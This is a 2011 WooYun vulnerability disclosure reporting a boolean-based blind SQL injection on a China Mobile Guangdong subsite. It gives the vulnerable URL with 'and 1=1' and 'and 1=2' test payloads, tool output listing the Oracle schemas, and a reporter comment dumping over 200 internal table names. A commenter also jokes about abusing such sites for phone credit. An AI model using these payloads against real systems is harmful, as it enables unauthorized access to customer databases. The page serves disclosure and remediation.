当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-03210

漏洞标题:中国移动某分站SQLinjection

相关厂商:中国移动

漏洞作者: B1n4ry

提交时间:2011-11-04 10:11

修复时间:2011-12-04 10:12

公开时间:2011-12-04 10:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-11-04: 细节已通知厂商并且等待厂商处理中
2011-11-04: 厂商已经确认,细节仅向厂商公开
2011-11-14: 细节向核心白帽子及相关领域专家公开
2011-11-24: 细节向普通白帽子公开
2011-12-04: 细节向实习白帽子公开
2011-12-04: 细节向公众公开

简要描述:

中移动某分站SQLinjection,Oracle数据库,信息泄露。

详细说明:

Injection  Type: boolean-based blind
http://www.gd.10086.cn/qly/clair_ls_txt.jsp?rid=54290 and 1=1 正常
http://www.gd.10086.cn/qly/clair_ls_txt.jsp?rid=54290 and 1=2 报错

漏洞证明:

available databases [7]:
[*] DBSNMP
[*] NVS
[*] OUTLN
[*] SYS
[*] SYSTEM
[*] TSMSYS
[*] WMSYS

修复方案:

安全重新审计,过滤提交参数。

版权声明:转载请注明来源 B1n4ry@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2011-11-04 11:35

厂商回复:

添加对漏洞的补充说明以及做出评价的理由

最新状态:

暂无


漏洞评价:

评论

  1. 2011-11-05 03:44 | B1n4ry ( 实习白帽子 | Rank:55 漏洞数:6 )

    Database: NVS [208 tables]+---------------------------+| APF_ACTION || APF_CATEGORY || APF_EMPLOYEE || APF_EMPLOYEE_ORG || APF_EMPLOYEE_POSITION || APF_FUNCTION || APF_GROUP || APF_GROUP_ROLE || APF_MENU || APF_ORGANIZATION || APF_POSITION || APF_POSITION_ROLE || APF_PROVINCE || APF_REGION || APF_ROLE || APF_ROLE_FUNC_ACTION || APF_ROLE_MENU_ACTION || APF_USER || APF_USER_FUNC_ACTION || APF_USER_GROUP || APF_USER_LOG || APF_USER_MENU_ACTION || APF_USER_PRECINCT || APF_USER_PROP || APF_USER_ROLE || BASE_USER || CMCC_AREA || CMCC_CHANNELS || CMCC_DIRECTORY || CMCC_DIRECTORY_RESOURCE || CMCC_DISPLAY_HISTORY || CMCC_FEEDBACK || CMCC_GZ_JT || CMCC_HAODUAN || CMCC_MOBILE_MODEL || CMCC_MOBILE_OS || CMCC_PERSON_VIDEO || CMCC_PHONE_SUB || CMCC_REPORT_INFO || CMCC_RESOURCE_FILE || CMCC_SMS_LOG || CMCC_USER || CMCC_USER_AREA || CMCC_USER_FAVORITES || CMCC_USER_VISIT || CMCC_USER_VISIT_LOG || CMCC_VEDIO_GROUP || CORP_INFO || CORP_MANAGER || CORP_WHITEGROUP || CORP_WHITELIST || NOTICE_MSG || SYS_ALLOWEDIP || SYS_BLACKLIST || SYS_KEYWORD || TARGET_CROP || TASK_ACCOUNT_DAY || TASK_ACCOUNT_MINUTE || TASK_CONTENT || TASK_INFO || TASK_SENDING || TASK_SENT || TASK_SUBMITTED || TEMP_XSP1 || TWAP_ACTIVITY || TWAP_BASE_SCORE || TWAP_BASE_SCORE_BAK || TWAP_BASE_VISIT || TWAP_BLOG_ALBUMS || TWAP_BLOG_DIARY || TWAP_BLOG_FAVORITES || TWAP_BLOG_PHOTOS || TWAP_BRAND || TWAP_BUSINESS || TWAP_COMMENTS || TWAP_CONFIG_INFO || TWAP_DIAL_TEST || TWAP_DIAL_TEST_PAGE || TWAP_DIAL_TEST_RECORD || TWAP_DOWNLOAD || TWAP_FILTER_MOBILE || TWAP_FILTER_WORD || TWAP_FOLDER_PAGE_TEMPLATE || TWAP_FRIENDS || TWAP_FRIENDS_GROUP || TWAP_GRADE || TWAP_HIGH_SCORE || TWAP_MESSAGE || TWAP_MESSAGE_IMAGE || TWAP_MESSAGE_SENDED || TWAP_MMS || TWAP_MMS_FRAME || TWAP_MMS_LOG || TWAP_MMS_RESOURCE || TWAP_MOBILE_AREA || TWAP_MODEL || TWAP_NATIVE_CHANNEL || TWAP_NATIVE_FIEL_RESOURCE || TWAP_NATIVE_FOLDER || TWAP_NATIVE_PAGE_RESOURCE || TWAP_NATIVE_SPCP || TWAP_OS || TWAP_PLACARD || TWAP_POLL || TWAP_POLL_ITEM || TWAP_POLL_RECORD || TWAP_PORTAL_HOST || TWAP_PROVISION_QUEUE || TWAP_PROVISION_SYNCABLE || TWAP_PUBLIC_AND_NATIVE || TWAP_PUBLIC_CHANNEL || TWAP_PUBLIC_FIEL_RESOURCE || TWAP_PUBLIC_FOLDER || TWAP_PUBLIC_FOLDER_TYPE || TWAP_PUBLIC_FOLDER_USER || TWAP_PUBLIC_MARKET_USER || TWAP_PUBLIC_PAGE_FOLDER || TWAP_PUBLIC_PAGE_RESOURCE || TWAP_PUBLIC_RESOURCE || TWAP_PUBLIC_SPCP || TWAP_RECOMMENDED || TWAP_SCORE_TYPE || TWAP_SEND_RECORD || TWAP_SMS || TWAP_SMS_LOG || TWAP_STAT_COLUMNS || TWAP_STAT_MODEL || TWAP_SUBSCIBE_ALL || TWAP_SUBSCIBE_CONSUMER || TWAP_SUBSCRIBE || TWAP_SUM_BASE_SCORE || TWAP_SUM_HIGH_SCORE || TWAP_TEAM || TWAP_TEAM_BBS || TWAP_TEAM_MEMBER || TWAP_TEAM_PHOTOS || TWAP_TEAM_TYPE || TWAP_USER || TWAP_USERINFO || TWAP_USERINFOJUDGE || TWAP_USERLOG || TWAP_USEROTHERVIEW || TWAP_USER_LOGIN || TWAP_WAPPORTAL || USER_LOG_VOD || WAP_ACCOUNT_DAY || WAP_ACCOUNT_MINUTE || WAP_ACTIVITIES || WAP_ACT_OFFERS || WAP_ADVERTISING || WAP_ALLOWMEM || WAP_BBS_ARTICLE || WAP_BBS_FOLDER || WAP_BLOG_ARTICLE || WAP_BUSINESS_SYS || WAP_BUSINESS_TABLE || WAP_CHANNELS || WAP_COMMENTS || WAP_CORP_MEMINFO || WAP_EXTERNAL_LINKS || WAP_FILTER || WAP_FOLDER_USER || WAP_FTP_INFO || WAP_FTP_QUEUE || WAP_FTP_WEBINFO || WAP_GENERATE_PAGE_TASK || WAP_KEYWORD || WAP_MESSAGE || WAP_MOBILE_UA || WAP_MOBILE_USER || WAP_OAINFO || WAP_OFFERS || WAP_OFFERS_NUMBER || WAP_OPERATE_LOG || WAP_PDGLB || WAP_POLL || WAP_POLL_GROUP || WAP_POLL_ITEM || WAP_POLL_RECORD || WAP_QUERY || WAP_QUERY_CONDITION || WAP_REC_CONTENT || WAP_RESOURCE || WAP_SENDRECORD || WAP_SITE_FILE_RESOURCE || WAP_SITE_FOLDER || WAP_SITE_FOLDER_RESOURCE || WAP_SITE_PAGE || WAP_SITE_PAGE_TYPE || WAP_SITE_RESOURCE_LEVEL || WAP_SOURCE_SET || WAP_SOURCE_SETCONTENT || WAP_SYS_BULLETIN || WAP_SYS_COMPONENT || WAP_SYS_COMPONENT_GROUP || WAP_SYS_COMPONENT_PARAM || WAP_SYS_COMPONENT_TYPE || WAP_SYS_SITE_GROUP || WAP_SYS_T_PAGE_GROUP || WAP_SYS_UA || WAP_SYS_WAPSITE || WAP_TABLE_COLUMN || WAP_TABLE_QUERY || WAP_T_MENU || WAP_T_PAGE || WAP_UNALLOWMEM || WAP_USERBLOG || WAP_USERCOMMENTS |+---------------------------+还要补充什么说明?

  2. 2011-12-04 12:08 | piaoye ( 普通白帽子 | Rank:343 漏洞数:53 | ww)

    擦,可惜这种地方站利用价值不大,至少不能冲个话费. 邪恶了...